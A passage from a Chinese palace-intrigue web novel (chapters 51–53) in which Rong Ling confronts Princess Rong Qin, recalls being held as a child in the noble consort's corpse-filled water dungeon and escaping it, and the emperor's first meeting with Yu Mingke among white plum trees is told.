荣沁还在歇斯底里地叫骂，“没有人能违背本宫，也没有人能让本宫失了面子丢了人。哪怕他是蔺家人、瞿家人，便是姓荣的，本宫也照杀不误。”
这时，院门外传来一道冰冷，冷得像是叫苏木里凄寒的风雪冻了千百年的声音——
“那我呢？若我阻止你，你也要杀了我不成？”
伴随那言语，一支羽箭倏地射出，在越过大半院子后，准确钉入荣沁的胳膊。
荣沁惊叫着松开紧抓荣毓的手。
荣龄则立时纵过去，将气息微弱的小丫头抱出温泉池。
一道着银甲，戴银龙冠的身影快步走入院内。
他将手中长弓扔给一旁的亲卫，直停到刚刚还叫嚣着“哪怕他是蔺家人、瞿家人，便是姓荣的，本宫也照杀不误”的荣沁身旁。
荣宗阙垂首看向荣沁——这是她同父同母而生的胞妹，她虽自小受宠，偶有几分任性、骄纵，可在他眼中，荣沁从不这样目中无人，也不会如此轻率地害人性命。
“你何时成了这样？”荣宗阙如看向一个全然陌生的人，语气也失望至极，“是母妃与我纵得你不知天高地厚？还是赵氏的军权让你竟敢藐视皇权、法纪？”
荣宗阙俯身，牢牢钳住荣沁的下颌，“你可还知道，这天下，姓荣，不姓赵！”
51. 杀心
荣沁自狭仄的喉中艰难道：“荣龄，你敢动我？”她虽落入荣龄手中，神色却半分不软下，“你若动我，母妃不会放过你！”
她“嗬嗬”笑开，“你可眼熟这汤池？可与永寿宫的水牢一般无二？”
“哦，不对！”她轻下嗓音，语中十足嘲弄，“永寿宫中的水牢可要冷得多、臭得多，你在那水牢中泡了三天三夜，怕是早叫臭水潭子淹得腌臢，哈哈哈哈...”
荣龄垂首，冷眼打量她——曾几何时，荣沁变得如她的母亲那般恶毒？
在她如恶鬼低吟的话语中，荣龄控制不住手中力道，将那支喉管愈捏愈紧。
荣沁看懂荣龄眼中毫不掩饰的杀意，心中立时慌张，“你...你竟...真敢杀我？”——她已无法顺畅说出整句话。
荣龄的杀心是将军百战死的南漳淬出的，远非荣沁此等只敢在宫闱作恶的妇人能比。
她的眼中无一丝怜悯与慈悲，寒气逼人的目光又锐又利，像是甫一对视便要取人性命。
荣毓攀着荣龄的另一只手，惊恐见证荣龄几在一瞬间变得如另一人。
她一手拉着荣毓，是救人一命胜造七级浮屠，另一手却平静地掐住荣沁的脖颈，任那人再挣扎也死死不松开。
“阿姊，不要。”荣毓急摇荣龄，想唤醒如堕地狱幻境的荣龄。
□□龄像是半点都未听闻，眼见的真要掐死荣沁。
就在这时，一院残花中急步奔来两道身影。其中一人着银甲，戴银龙冠。另一人着青色直缀，身姿清直如松柏。
着银甲之人一眼望到池边景象，他既惊且怕，忙腾挪起已有三分慌乱的脚步。
待飞身至荣龄身旁，他又力沉拳中，直击她掐住荣沁的手。
荣龄察觉危机，本能松手与他对招。
□□宗阙怕荣龄不肯卸力、酿下大错，便用了十足十的劲道。
而荣龄又因蹲在池边，无坚实的招架之处…
掌与拳交击，荣龄叫荣宗阙拳中的内力震飞，背对水面跌入池中。
温热池水淹过口鼻的瞬间，一十三岁时噩梦一样的三天三夜如炼狱中的夜乞叉，狰狞着吞没她的全部意识与神魂。
八年前，玉鸣珂刚入宫，尚在世的老太后见荣龄一人守着南漳王府实在伶仃，她便与建平帝商量，用她的名义接荣龄入宫抚养。
荣龄自然不愿意，可老太后亲来王府，拉着她小小的手哭泣，“你父王能提刀时便上了战场，叫皇祖母担心一辈子。如今，阿木尔也要学他，让皇祖母日夜寝食难安吗？”
荣信的死讯传至宫中时，老太后一口气没续上，立时晕死在慈安宫中。一整班御医不分昼夜守着，又用上无数奇珍良药，才叫她转好。
可她刚醒来，一贯沉稳的建平帝又闹出孝期夺弟媳的丑事。一时之间，朝野上下非议无数。
老太后轻抚荣龄眉眼，心中悲沉得如蒙了一团永不能消散的黑瘴——这场错位的姻缘是老梁王与她造下的孽，是他们为得到苏尼特全族的兵力，硬逼着荣信迎娶玉鸣珂而系下的死结。
可苍劲的祁连山神啊，你若愤怒，大可来惩罚我，叫我不得好死，为何非要让荣信横死战场——她最英武的儿子，他才刚过不惑之年，是这世上最最无辜的人。
老太后还是将荣龄带回宫中。
但她心中悲痛欲绝，身子一直不大好。因而荣龄虽在慈安宫中，却也并不日日请安。
贵妃钻的便是这个空子。
那日，荣龄自大本堂上课回来，一小宫女在巷口唤住她。
“郡主，奴婢在披香殿服侍，奉玉妃娘娘之命延请郡主。”
荣龄一愣，有些不敢信。
很小的时候，师傅便教了她孟母三迁，慈母线、游子衣的典故。
可自玉鸣珂入宫，她便与荣龄，与整个南漳王府断了音讯。
荣龄那时还小，实在想不明白——荣信还在时，玉鸣珂待她虽严厉，却也日日关心衣食、紧张课业，不失为一位好母亲。
可为何只一年，她便像是忘了曾有一个女儿，忘了这个女儿刚刚失去父亲？
师傅教的典故是否早已不通行于世？
又或者真如传言中说的，玉鸣珂与建平帝荣邺本情意相投，可阴差阳错中，却做了荣信的王妃。
因而，她恨透荣信，也恨透与荣信生下的女儿。
因而，她才在荣信尸骨未寒时，头也不回地坐上入宫的马车，再未见过荣龄一面。
她的恨这样深重，深重到便是荣龄入宫，老太后遣亲信去披香殿，也只请到曹耘来代她来见。
荣龄又恼又恨，再不管皇祖母仍在一旁，她一径冲曹耘嚷道：“你走，你再也不要来，阿木尔在慈安宫中好极了，不需你们来假慈悲！”
自那时起，荣龄便不许旁人在自个面前提起玉鸣珂。
母女二人虽同在宫中，却不啻远隔山海。
因而今日，玉鸣珂叫个小丫头来寻她做甚？
是她终于记起自个还有个未长成的女儿，还是…还是她在宫中过得并不容易，不敢也不能在明面上关心她，与她相见？
此时的荣龄也只是一十三岁的小娘子，那么些日子不曾见母妃，心中早已思念至极。
于是，荣龄并未多想，只半是别扭，半是希冀地随小宫女往前去。
直到进了一处陌生的宫中，她觉出不对。
“你不是玉妃的人？”她警惕问道，“谁让你带我来此处？”
回答她的是颈间的一阵剧痛。
待荣龄醒来，她的全身浸在冰冷、腥臭的水中。她本能挣扎，却发现一双手脚已叫沉重的铁镣锁住。
荣龄惊慌起来，在昏昧光线中努力张望。
此刻的自己究竟身在何方，又是何人因何缘由囚了她？
水池中漂浮的一大片黑色阴影吸引她的视线。
□□龄凝眸望去，半晌也认不出那是什么。
这时，高处忽落入一束光线。
荣龄费力抬起头，看清那是一处供人监视的气窗。
一张模糊的面孔一闪，像是有人嘀咕了句，“小丫头醒得好快，快去禀报贵妃娘娘。”
贵妃？荣龄一怔，这宫中可只有一位贵妃…
当真是贵妃囚了她？可贵妃为何要囚她？
是父王与贵妃的兄长赵文越有天大的过节？还是荣宗阙因对父王不敬，叫建平帝罚去苏木里，贵妃要报复于她？
同时，因那道光线，荣龄终于看清，那一大团黑色的阴影是数不清的猎犬、长毛猫、鸡兔的尸体。
荣龄立时尖叫。
她并非没有见过尸体，她甚至用南漳王特制的小弓亲手猎杀过驼麈、獐子。可她从未与一堆早已腐烂的尸体泡在一个池中。
一瞬间，这水池变得比地狱中的血池还要可怖。
荣龄惊恐至极，甚至生出幻觉——那些尸体上的蛆虫泅过水池，密密爬满她的身体、面孔。
她紧闭口鼻，只怕自己一个不察，便叫尸蛆钻入身体。
她自小金尊玉贵地长大，何时遭过这等罪？
在这无边的黑暗与恐惧中，荣龄浑身冰冷，精神逼临崩溃。
不知过了多久，池边忽传来铁门年久失修，轴中因缺蜡油润滑而生出的“吱呀”声。
荣龄艰难地转过头，眼瞧着一线光亮慢慢变大，变得有一指、一掌、一人宽。待铁门完全打开，几位宫人鱼贯入内，点亮墙上的几盏油灯。
火苗窜起，荣龄终于看清整个囚室。
这间囚室四四方方，每一侧约一丈半宽。除正中挖有同样四方的水池，整间囚室空空荡荡，并无他物。
又因水汽充沛，室内遍布青苔。青苔或深或浅，覆满除铁门与上方气窗外的白墙。
哦，不对，还有一处也空着——囚室东墙有一处铁栏，铁栏一半露在外头，一半没入水中，可惜铁栏外还有一道小门，不然，荣龄便能自栏外风景判断，自己身在何处。
宫人再捧入几尊一臂
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高的香鼎，点起馥郁、厚重的沉香，等沉香的气息盖过囚室中的腐味，两位小太监才抬入一把搭了软褥的扶手圈椅。
再过一会，铁门处一人宽的光亮中终于出现一道人影。
荣龄抬头望去，毫不意外地看到一袭百花云锦褙子。她再抬高三分视线，将目光落到那人高髻上戴有的整幅点翠五凤簪上…
除了贵妃赵氏，这宫中还有谁敢装扮得这样奢靡、招摇？
便是中宫瞿氏，怕也要逊她三分富贵。
赵宥澜姿态娴雅地走到池边，她用帕子掩住口鼻，故作吃惊道：“这池子本是处置那些不服管教的畜生的，阿木尔怎不小心落了进去…你瞧那处最大的，”她指了指那堆尸体中的一具，“那是山东贡来的猎犬，前些日子有了身孕，脾气便不大好。本宫本想与它玩闹，可畜生便是畜生，它没管住爪子，抓伤了本宫。”
“那便…留不得了。”
“还有那白猫，本宫本喜欢得紧。但它不听话，跑出宫去怀了不知何处来的野种。”赵氏骄矜地摇头，五凤簪上的凤翎随之轻颤，“永寿宫可不养杂种，本宫再心疼，也只能将它弃了。”
赵宥澜如说家常一般，平静地叙述那一件件残忍、无情的小事。
荣龄一头雾水望着她——她说这许多，可与将自己绑来有关？
她细细思量，故事中的狗儿、猫儿都因怀了身孕而生出变故，可是谁怀了身孕，惹恼贵妃？
可那与荣龄何干？
荣龄的困惑取悦了赵宥澜。
“瞧我，也不管你生来便不如沁儿机灵就与你一股脑说了半晌。”赵宥澜一面奚落荣龄，一面由宫人服侍，稳稳坐到圈椅中，“你是不是也在惶惑，本宫为何请你来这池中泡澡？”
她把将荣龄囚来水牢一事说得轻易。
荣龄心中虽害怕，可她是南漳王荣信唯一的血脉，她不能辱了“单刀龙城”的风骨。
“还请贵妃告知。”荣龄费力开口，她的嗓音也因长期紧绷而干涩异常，“阿木尔便是死，也要死个明白。”
“哼！”赵宥澜冷哼一记，“你倒还有三分骨气，可惜你那母妃，是个烂透了的贱人。”
她粉白的面孔因气愤而涨红，但很快，她强自平复心情，将两臂搭上圈椅扶手。过一会，她有意问道：“阿木尔可知，玉妃入宫三月未满，你便要做姐姐了？”
姐姐？
荣信与玉鸣珂只生了她一个，她自何处当何人的姐姐？
而赵宥澜提到——玉妃入宫三月未满…
她只想到一种可能。
荣龄的心一径沉下去，沉到苦海中，叫每一分、每一寸都浸满凄苦的汁液。
那汁液太满，满得心中再也盛不住，满得要从两眼溢出来。
荣龄用力闭上眼，不肯让眼中流出泪。她又不住吞咽，将快要涌至口边的哽咽生生咽回腹中。
她不能哭，也不值当为这事哭。
赵宥澜见她如此隐忍，心中生出几分畅快——玉鸣珂辱她面子，她便在荣龄身上百倍、千倍地找回来。
她明白，玉鸣珂如此疏冷荣龄，怕是以为只需这样，宫中那些怨恨的目光便不会祸及这已然失怙的女儿。
但她想得太简单——赵宥澜也是母亲，太过明白“父母之爱子，则为之计深远”。更何况，她数次撞见玉鸣珂躲在墙角，目送荣龄去往大本堂。
玉鸣珂瞒得过旁人，却瞒不了她。
因而，当建平帝将玉鸣珂守得周全，叫她寻不见下手的机会时...
她便囚了荣龄，日日夜夜折磨...
赵宥澜相信，同样的手段用在荣龄身上，玉鸣珂只会更痛不欲生。
“你说，本宫若告与玉妃，道是阿木尔不小心落入池中，本宫也不知要不要相救…”赵宥澜话音很轻，语中意思却阴沉得淬了毒，“她会否饮下本宫送去的安胎药？”
荣龄不置信地盯着她。
什么安胎药？那怕是玉妃与腹中孩子的催命药！
52. 水牢
“你有一个长大的荣宗阙，还有一个荣沁，她便生下一儿半女，也碍不到你…”荣龄也没想到，竟有一日，自己还为玉鸣珂说话，“若叫皇帝查出来，他会放过你？”
赵宥澜眉头微抬，冷嘲道：“到底是母女连心…你已自身难保，却还想着为了她挑衅本宫…
“只是阿木尔，你还小，没见识过‘不聋不哑不做家翁’。如今你父王死了，木华赤也没落了，你猜陛下敢不敢为了一个女人，惩处赵帅的胞妹？”
荣龄心中微凉。
是啊，赵宥澜敢囚了她，敢用她逼迫玉鸣珂，靠的不正是四方尚未完全承平，而“开国三大功臣”已只剩赵文越一个。
这样的情形，建平帝再憋屈，也不会与这位军权鼎盛的凉州军主帅翻脸。而同样的，赵宥澜犯下再大过错，建平帝看在赵文越的面上，也只能宽宥。
剥开一层又一层的浮华，人性尽处只写着“权势”二字。
“本宫今日来此本只想与你闲话几句。不过，你刚刚的话让本宫不大高兴…”赵宥澜慢慢起身，鲜红的蔻丹扶上变幻蓝绿光彩的点翠五凤簪，“这池中的水有些热了，来人——”
一旁的小宫人伏身聆训。
“开了那处水栅，给郡主换些新鲜的凉水，好叫她冷冷性子。”
一行人浩浩荡荡离去，囚室再次陷入黑暗。只东墙的小门打开，露出栅栏外的水域与几丝黯淡天光。
伴随内外的水体交换，池水很快便寒气逼人。
倒也并非说池中的水本温热，可它到底在室内闷了许久，早已去尽刺骨凉意。
如今室外的河水裹挟大都初冬的寒凉涌入，荣龄一开始只觉折胶堕指，浑身如冰凌刺体、疼得厉害。
可再过一段时间，她已感觉不到疼痛，整个人混混木木，像落入一只透明的包袱，与这世间隔了一层。
荣龄的喘息都艰难起来。
不知何时，头顶的气窗又叫人打开，有人探出头确认她是否还活着。
铁门开合的声音惊醒荣龄混沌的灵台，她猛地抬首——不能坐以待毙，在这样的水中泡一夜，她便是不死，也定废了。
还有玉鸣珂…她腹中尚有孩子，那要命的药不能喝！
荣龄咬破舌尖，自弥漫的血腥味中汲取一丝暖意。
她再狠狠阖眼，攒出一些力气，再凝眸往东墙的一方天地瞧去。
栅栏外是一弯露天水道，荣龄回忆永寿宫的位置，便猜这是宫中唯一的水道金水河。既临金水河，那这间水牢当位于永寿宫的西北角。
而她若没记错，隔金水河与这间囚室相对的便是长乐宫外的一条行道。
长乐宫…林妃的长乐宫！
可惜荣龄与林妃并无交集，拿不准那出自江南诗家林氏、一身文弱风流的女子可会为了救她得罪煊赫的贵妃？
但——
如今已至穷途末路，不试试，怎知最终结果？
荣龄估算天光，此时当在未申之际，正是宫人往来频繁的时候。
她再打量自己——因手脚都锁了镣铐，全身又捆上木架，荣龄无法解下衣裳，用它引得宫人来救。
但幸好，为防不测，她袖中常年藏些小玩意。
那些小件虽不能打开镣铐，却可割开衣袖，取些布条。
于是，荣龄勾起四指，自袖袋中夹出一枚边缘光滑的铜钱。
但她在水中泡了太久，指尖早已冻僵。
荣龄一时失手，救命的铜钱自指尖滑落。
可危急总能榨出潜能。
荣龄也不知自哪里存下些力气，她手掌一翻，在一拳下的水中接住那枚铜钱。
铜钱锋利的边沿几要割开手心，但她感觉不到疼痛，心中只余绝处逢生的兴奋。
不过，此时若说“绝处逢生”尚早。
荣龄喘息着平息心情，再用双指夹稳铜钱，一点一点割开袖间布料。
没一会，她手中已有三四条一掌宽、尺余长的布条。
接下来的难题便是如何让布条顺着水流流出，再挂上铁栅栏。
荣龄先观察水池中渣滓漂流的走向，再在心中估算，这才瞅准时机，松手送出布条。
她屏息等候布条顺水流飘去……
第一根布条在栏上挂住一截末端，可惜那一瞬水流稍大，布条在水中招摇几番，还是顺着冲走。
荣龄惋惜地一“啧”，但她并不气馁，也毫不急躁，而是再次细细查看水流，慎之又慎地出手。
她甚至有些自嘲地想，幸而自己穿了件宽袖，不然，衣裳都不够割的。
第二条布带稳稳挂上栅栏，荣龄心中一振，又接连投出第三条、第四条。
很快，三条葱白色的布带随水流荡在河面。
而剩下的，荣龄只能等，只能乞求父王英魂尚未走远，还在半天保佑自己命不绝于此。
又过许久，栅栏外暮色转深，三条碎布随水流起伏，孤零如无定浮萍。
也许，没有人看到她费尽千辛万苦才挂上的信号，没有人能救她…
荣龄心中自胀满温热与希冀到慢慢冷下，厚厚白灰覆地，整颗心冷得透彻。
当真只能如此了吗？
就在她将要绝望时，一道细细的嗓音宛若天籁，响在栅栏外头。
“可有人遇险了？林妃娘娘唤我来问。”露头的是个青年的随侍，他青白着一张脸，显见的也叫初冬的金水河冻得不轻。
荣龄先是一怔，随之心中重重擂起响鼓，惊喜得说不出话。
她转过手掌，往栅栏外出泼去一掌水，示意此处有人。
她又咬开舌尖，用鲜血润喉，“小公公，我是荣龄郡主，贵妃无端关我在这。还请林妃娘娘怜惜，替我回禀于皇祖母，不然…我真要死在这。”
闻言，随侍露出惊诧的表情。
但他刚要相询，囚室顶部的气窗再次打开——又有人定时探出头来，确认囚在水牢者是否还活着。
荣龄忙将右手浸入水中，掩过早已缺了一大截的衣袖。
她又抬起头，故意道：“你主子我还没死。”
果然，那人的目光不再逡巡，而是一径落在荣龄身上。
他冷嗤一记，又取来一枝长长的竹竿。
下一刻，竹竿仿若痛打落水狗，雨点一样地落在荣龄面上、身上。
“哟，是还活着。”他懒洋洋道，“可你又算哪门子主子？”他一指池边堆叠的畜生尸体，“在咱家眼里，你与它们可没两样。”
那人撒了通气，终于收了竹竿，回身与小子们喝酒吃肉。
待囚室重回寂静，荣龄着急唤道：“小公公，你可还在？”
外头已无人回复。
荣龄心中惴惴，也不知那小随侍是瞧见自己的狼狈忙去找救兵，还是叫永寿宫的嚣张吓得不敢染指此事。
她实在不熟悉林妃的秉性，因而只能赌，只能乞求她生性良善。
栅栏外的天已完全暗下。
夜半寒气浸满河水，使它愈加刺骨。
荣龄在失去知觉许久后，忽地感到一股热意。
那热意诡谲至极，叫她在一瞬间如曝晒于盛夏西域，热得直欲脱下袄裙，换轻薄的衣衫。
她狠狠咬唇，唤回一丝清明——
不对，这热意不对劲。
她想起父王曾说的征战往事。
那时，荣信问她：“隆冬时节若有士兵在外走失，父王找到他们时，尸体往往衣不蔽体。阿木尔可知为何？”
荣龄想了想，天真道：“因他们身上有珠宝，叫人偷去！”
南漳王摸了摸她的小圆髻，“不大对。”
他解释道：“父王曾问过一个得幸活下来的人。他道，他在临死时竟觉周身滚烫，烫得只欲揭开衣袍凉下身子。”
正是在这滚烫的幻觉中，大部份人冻死，再醒不来。
如今，是轮到自己要冻死了吗？
但若她死了，玉鸣珂与腹中的孩子可还能活？父王平白受的耻辱可有人讨还？
荣龄不能死，也不敢死。
她需活着，更需堂堂正正、比
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任何人光鲜地活着。
终于，在她失去意识前，沉重铁门“吱呀”打开，一道身影蹒跚奔来。
“阿木尔，阿木尔！”她慌张唤道，“是皇祖母不好，皇祖母没有看好你。”
荣龄心中一松，陷入长长的黑暗中。
只是，她心中仍记挂一事。
于是，甫一苏醒，她寻来曹耘。
“姑姑，贵妃可给母…可给玉妃送去保胎的汤药？她用了？”
曹耘面露不解，“是有这回事，可娘娘将它倒了，道是来路不明，并不敢用。”
“郡主为何问起这事？”
荣龄一怔，许久露出自嘲、凄苦的笑。
她很难形容那一瞬间的感觉。
愤怒、绝望，痛苦、释然…前一十三年全部的情绪累加，都比不上这一瞬复杂。
荣龄摊开手掌，又五指蜷起，捏作一个紧紧的拳。
她想，她与玉鸣珂的母女情谊宛若一捧沙，又像一片雾，前者愈用力愈留不住，后者…后者本就空无一物。
她呼出一口气，同时再次张开手掌——罢了，她什么都不要了。
温泉水悠悠荡漾，刹那花开，须臾花落，八年时光如轻云无痕掠过。
荣龄回神时，张廷瑜已将她抱在怀中，不住地唤：“阿木尔，阿木尔醒醒，没事了。”
一双杏眼微转，过会才将视线落于那张不断落下水滴的面上。
这景象有些熟悉——在保州那夜，他也这样守着自己，生怕自己就此睡去。
荣龄时隔八年，忽有些委屈，她任凭喉中哽咽，有些不讲理道：“你怎的才来？”
张廷瑜一愣。
自荣龄落水到他救起，整个过程不过几息时间。可她为何红了眼眶，比保州落入大清河、整个人气息奄奄时还恐惧、还无助？
但此时并非询问的良机，张廷瑜痛快认下，“是我不好，你受罪了。”
见荣龄清醒——
“郡主！属下护卫不力，请郡主责罚。”这是怀抱荣毓的万文林，他自高树奔来，却快不过已至池边的张廷瑜。
因而，他只能接过张廷瑜自水中递来的荣毓，又眼睁睁看着他像捧出珍宝一般，将荣龄抱离水池。
“阿姊醒醒，荣毓害怕，”这是满眶盈泪，张着手去够荣龄的荣毓，“是荣毓不好，你快醒醒，你不能有事！”
另一头的荣宗阙也急忙问道：“她这情形可是叫脏东西魇住了？阿木尔，你醒醒！”
一句句“阿木尔”落入荣沁耳中，变得异常聒噪、刺耳。
分明是荣龄要杀她，分明是她在鬼门关走一遭…
可为何他们只问荣龄，却无半句关怀她。
旁人倒还罢了、可里头有她的亲哥哥，那个自小不让她受一点委屈的哥哥！
“哈哈哈…”荣沁厉声笑开。
她挣开荣宗阙相扶的手，挺直脊背起身，“本宫还以为她多能耐，不过一个水池，便吓破胆。”
她抬手整理因荣龄胁迫而凌乱的妆容——不论何时，不论面对何人，二公主荣沁永远都最体面、最风华绝代。
“本宫该请母妃来的，若是那样，荣龄怕会吓得精神错乱，晕死在池中！”
“哈哈哈哈…”
荣宗阙一面瞧自落水便失了魂的荣龄，一面不置信地打量刻薄、狠毒的胞妹。
“荣沁，你何时变这样？荣龄、荣毓…还有水芝、瞿良娣，他们一个个，当真都是你害的？”
他的嗓音很沉，沉如积雨的云压在心头。他再说不出话，甚至喘息都困难。
荣沁猛地转头，碧玺步摇重重打在面颊。
“是我怎样？我是公主，这天下除了父皇、母妃，谁不该尊我、敬我？”她已歇斯底里，“可你们为何人人都忤逆我？为何只看重荣龄？看重这个每一处都比不上我，无父也无母的可怜虫！”
她言辞一高，指着荣龄，“八年前，母妃就该杀了你！”
荣宗阙再次震惊。
“八年前…你说什么？”
53. 白梅宴
荣龄臂上一紧——张廷瑜抱着她的手用力，“她说的是真的？”他问道。
荣龄微微一叹。
这事除了已逝的皇祖母与亲历者林妃、玉妃，她未告知任何人。便是皇祖母气极欲寻建平帝要个说法，她也平静拦下。
一则公平是强者定下的准则，眼下她式微，怕讨不到想要的公平。二则若建平帝真罚了赵宥澜引来赵党报复，荣龄去南漳一事或再生事端。
可当下再没比前往南漳，执掌南漳三卫更重要的。
一十三岁的荣龄微抬首，目光坚定望向南方——她需一支只听命于她的军队，她需绝对的权势。
而今阴差阳错地提起，一因荣沁太过蠢笨，拿陈年旧酒祭今日典故，二因荣龄忽醒悟——八年隐忍不发是因寻不到想要的，可如今…或有转机。
“是真的，二殿下若想细细了解，改日我支个茶局，邀你来王府吃茶。”荣龄示意张廷瑜扶起自己，“但眼下白梅宴将至，二殿下不若与我再做个交易。”
见荣宗阙疑惑望来，荣龄诚恳道：“你我在保州便合作一回，最终各取所需，谁都不吃亏。既如此，今日你也该信我。”
荣沁还在一旁叫嚣，“二皇兄，你别信她，她敢拿我如何？”
荣龄没有理她，只道：“二殿下想清楚，荣毓不是我，是陛下与玉妃唯一的血脉，与荣沁谁轻谁重…”
她有意一停，给足荣宗阙思考的时间，“她蠢，但你不蠢。”
荣宗阙静静看她一会，“阿木尔，这是威胁？”
荣龄摇头，“不，只是交易。”
长春道后山。
沉寂日久的丹桂林中绽出大片白色花朵。若自半空看，幽绿未落的丹桂树如一圈碧玺团团围住中央雪白的南海珍珠。
而那一整颗的南海珍珠不但体积硕大，更有清幽香气。香气乍闻并不浓烈，但时间一久，衣衫、肌肤，甚至呼吸都染上气味。
不用说，正中的“南海珍珠”正是百余株白梅树汇聚的花海。
丹桂林外围着一圈又一圈的四方四卫。
丹桂林中，白梅花下却人烟稀疏。
除去各宫最为机灵的宫人往来服侍，便只有着秋香色常服的建平帝领几位美得各有千秋的宫妃徜徉其间。
荣邺回过头，见其中一道着白衫，白衫襟前、袖口、裙面满绣白梅花的身影正魂不守舍。
“阿珂，”他问，“在想什么？”
他指向一整片花树，“白龙子将这白梅打理得尚好，朕瞧着，有几分昔年模样。”
玉鸣珂却未接话，她只忧心望向林外，“陛下，荣毓去寻阿木尔，怎还不来？”
荣邺揽过她，“皇宫至南漳王府不过一炷香行程，经过的又俱是高门之地，荣毓能出什么事？怕是阿木尔不肯来，小丫头正软磨硬泡。”
玉鸣珂还是不安。
自午间起，她的心口隐隐作痛。那闷痛似几月前荣龄在五莲峰出事，也如她小时候…叫赵宥澜囚了三天三夜。
眼下，荣龄与荣毓在一处，是她们哪个出事了？
见她仍忧心，建平帝唤过四方四卫的总领，“罢了，杜仲，去王府迎公主与郡主。”
他再问玉鸣珂，“可安心了？”
见玉鸣珂终于露出舒心的神色，荣邺牵起她，没管其余宫妃去了林中深处。
皇后瞿氏知趣止步，“本宫有些累了，林妃，咱们去竹屋喝茶。”
林妃上前扶过瞿氏的小臂，“是。”
赵宥澜看不上她们，“不过巴掌大的地方，竟巴巴请咱们来。陛…”她还有些理智，没直呼皇帝，“他二人鹣鲽情深也罢，旧镜重圆也好，本宫一句不想听，一眼不要看。”
伴随二妃去往竹屋喝茶，赵宥澜扶着亲信宫女登山看景，白梅林中只剩荣邺与玉鸣珂二人。
林中安静下来，荣邺有些无奈地道：“可算走了，”他撇了撇嘴，难得显出些少时意气，“本只想带你来，但朕怕都察院又说你的不是。”
自荣邺不管满朝非议，在南漳王荣信孝期便强娶玉鸣珂入宫，都察院不敢对他如何，就盯上玉鸣珂。
但凡荣邺有一星偏私，都察院的谏言便如雪花飞至案头。
一堆风宪官自古时的妹喜、妲己，说到百年前引皇帝自此不早朝的宋昭仪。
荣邺头疼得紧，但也不敢就此扬了没事找事的都察院。
于是，他也学会遮掩，但凡给玉鸣珂一分好，便也匀给旁的半分。慢慢的，玉妃祸国的骂名终于淡下去。
荣邺抚过玉鸣珂的额发，“一晃这么些年，荣毓都七岁了。”
“可朕还记得那年的白梅林，朕自醉梦中醒来，瞧见的比祁连神女还美的人。”
那年，苏尼特横卧北方，是动荡的末年难得不背弃前元，揭竿自立的属国。
荣邺为求联合，偷偷去见苏尼特王。
老王上既未怒斥他不念上国旧恩，学赵光义之辈背信弃义，却也断然拒绝了他联盟的请求。
苏尼特王大马金刀坐于冷杉雕出的王座，“大王子，你若推翻前元，本王定装上苏尼特最名贵的珍宝去大都朝见。可你若不曾，本王便不能插手此事。”
“苏尼特偏安北域千年，只因从不牵涉中原纷争。”
荣邺费上几日，许下一车好话、承诺，但固守己信的苏尼特王仍半点不松口。
他一时气馁，又有些烦闷，于是拎了酒瓶，在雪夜的月下散心。
也不知因心情不佳而酒量分外浅，或是苏尼特用了旁的法子，将酒酿得较梁国香醇。
还未喝完一瓶，荣邺便觉意识有些轻。
可那时的他也不觉自己醉了。
他行至一处空阔平地，鼻中忽涌入直醒灵台的幽香。
那幽香闻着熟悉，但深醉中的荣邺想了半晌，仍想不出是何物的香气。
停了好一会，他回过神——想不出他可亲自去瞧瞧，待见到实物，他总能认出。
于是，荣邺寻着幽香，飞身翻入砖墙围起的院子。
未料到院中是满满的花树，荣邺身形不稳，落入繁密枝桠间。
白色花朵纷然而落，他接住一手，凑到眼前才认出，这是白梅花。
怪道他闻着熟悉，梁国王宫中，他也种了几株。每到冬寒，他便折下花枝插在房中做熏香。
凉月、寒梅、飞雪…眼前的景象如淡墨绘就的绝色意境。
荣邺体内酒意翻涌，脱口道：“寻常一样窗前月，才有梅花便不同。”
他与弟弟荣信不同——弓马不弱，诗文也能对上几句。
可惜连年征战，他房中的书早已落灰。
只是在这陌生的雪夜，在酒酣人醉之时，荣邺血脉中忽腾起几分诗仙气概。
他取过一截残枝，一面将满地、满树白梅花织作一场自霄汉落下的香雨，一面不停歇念道——
“日暮诗成天又雪，与梅并作十分春。”
“数萼初含雪，孤标画本难。香中别有韵，清极不知寒。”
“万山寒无色，南枝独有花。”
…
可惜次日清早，玉鸣珂未见荣邺突发的诗性，只看到满院白梅叫人毁了大半。而那始作俑者，正卧于雪地呼呼酣眠。
玉鸣柯怔住，好一会才认清眼前的情形——
瞧这意思，是这百余株自大都移来，由她精心看养数年，终于头回含苞的白梅花树…叫这混账毁了？
一贯清雅的玉鸣柯头回气得想尖叫。但自小的教养、长久的仪态束住她。
“金宝，去唤醒他。”
侍卫金宝抵前查看。
雪地中的男人身形修长，面容俊朗。金宝轻轻踢他，那人也分毫不动。
他又蹲下，闻见扑鼻酒气。
金宝了然，回禀道：“怕是个醉鬼，还未醒酒。”
玉鸣珂更觉冤枉——怎的正正好，叫个醉鬼毁了月下浮动的暗香，那较雪更白三分的白梅？
可若那时的她提前探知此后几年、几十年与这醉鬼的纠葛，她怕更要感慨，那夜的酒，那满院的白梅正是命运写下正正好的机缘。
但那时的她只瞥见采花客满面的青白。
玉鸣柯心中虽气，却也做不到冷眼旁观——苏尼特王城远在北域，大雪自九月落到来年的孟春。因气候严寒，每年都有糊涂蛋流落室外而冻死。
到底是条人命。
“金宝，将他背去屋中。”
荣邺醒来时，便在和暖室内。
若说醉死前，他看的是雪夜寒梅的山水图，那醒来甫入眼帘的便是美人临窗煮茶的人物画——
四方窗棂构成天然画框，框住窗外天地一色的雪与梅花，框住一只红泥火炉与其上吐出一行白汽的紫砂茶壶，而画中最绝色也最灵动的一笔，便是手中垫着厚布，正取沸水冲茶的女子。
那女子衣白，但肤色较衣色更白。那白色并非冬雪毫无生气的白，更像和田的玉，若枝头的梅，是一种透着血色与灵气的白。
荣邺甚至觉得，她是
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窗外白梅化身，清极、润极、也美极。
他刚要起身，宿醉与风寒带来的晕眩在一瞬间击垮他。
“嘶…”荣邺捂住额角。
闲坐煮茶的女子转过头来，“哦，你醒了？”她的嗓音也好听，是清水击缶、玉磬相交的空灵和悦。
“多谢姑娘，实在有些头疼，在下失态了。”他在榻上致歉，“不知如何称呼？”
女子面容沉静，只微微颔首。
可就在荣邺以为，她只是出自好心，将自己救来房内，女子将手中刚泡出滋味的茶泼去窗外，那架势…像是有气。
果然下一瞬，她直截问道：“你是谁？为何毁我的白梅花树？”
虽克制，但语中火气掩不住。
毁了…花树？
荣邺挣扎起身，踉跄走至窗前。他一惊——眼前哪还有月色下三分清洁、三分柔艳、三分傲骨拼出的十分绝色？
白色花瓣零落委地，与一夜落雪混在一处。
荣邺回忆起一些执残枝舞剑的情形。
等等…舞剑？
所以，是他半夜喝醉酒，跑到人家院子舞剑，最后打落满院的白梅？
